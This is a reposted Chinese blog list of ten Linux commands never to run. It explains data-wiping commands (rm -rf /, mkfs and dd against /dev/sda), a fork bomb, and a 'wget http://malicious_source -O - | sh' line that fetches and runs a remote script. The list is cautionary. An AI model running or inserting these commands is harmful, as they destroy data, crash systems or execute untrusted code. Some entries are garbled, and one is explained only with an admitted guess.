《永远不要在 Linux 执行的 10 个最危险的命令》
Posted Jiamings
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了《永远不要在 Linux 执行的 10 个最危险的命令》相关的知识,希望对你有一定的参考价值。
永远不要在Linux执行的10个最危险的命令[J].计算机与网络,2013,39(23):28-29.
在运行 Linux 命令时,应该三思而后行,以下命令通常需要在 root 下才能运行。
rm -rf directory # 强制递归删除目录下的内容
rm -rf /
:强制删除根目录下所有内容。
rm -rf *
:强制删除当前目录的所有文件。
rm -rf .
:强制删除当前文件及其子文件夹。
.bashrc
文件对 rm
命令创建rm -i
的别名,来预防用rm
命令删除文件时的事故,要求你确认每一个删除请求。
:():|:&;:
fork 炸弹实例。通过定义一个名为 :
的函数,它会调用自己两次,一次在前台,一次在后台,它会反复的执行下去直到系统崩溃。
command > /dev/sda
将某个命令的输出写到块设备/dev/sda
中,该操作会将在块设备中的所有数据块替换为命令写入的原始数据,从而导致整个块设备的数据丢失。
mv folder /dev/null
移动某个文件夹到 /dev/null
,在 linux 中,/dev/null
或 null
设备是一个特殊的文件,所有写入它的数据都会被清除,然后返回写操作成功。数据恢复软件仍能够挽救。
wget http://malicious_source -O - | sh
上述命令会从一个恶意资源下载一个脚本并执行。
mkfs -t ext3 /dev/sda
上述命令会格式化块设备sda
,对块设备或分区进行 mkfs 都是毁灭性的。
> file
清空文件内容,数据恢复软件未必能帮到你。
^foo^bar
把上一条命令中的 foo 替换为 bar?不解…
dd if=/dev/random of=/dev/sda
向块设备写入随机的垃圾文件而擦除数据,这个命令可以彻底删除数据。
隐藏命令
有些命令可能隐藏在十六进制中,千万不要编译运行来源不明的代码。
以上是关于《永远不要在 Linux 执行的 10 个最危险的命令》的主要内容,如果未能解决你的问题,请参考以下文章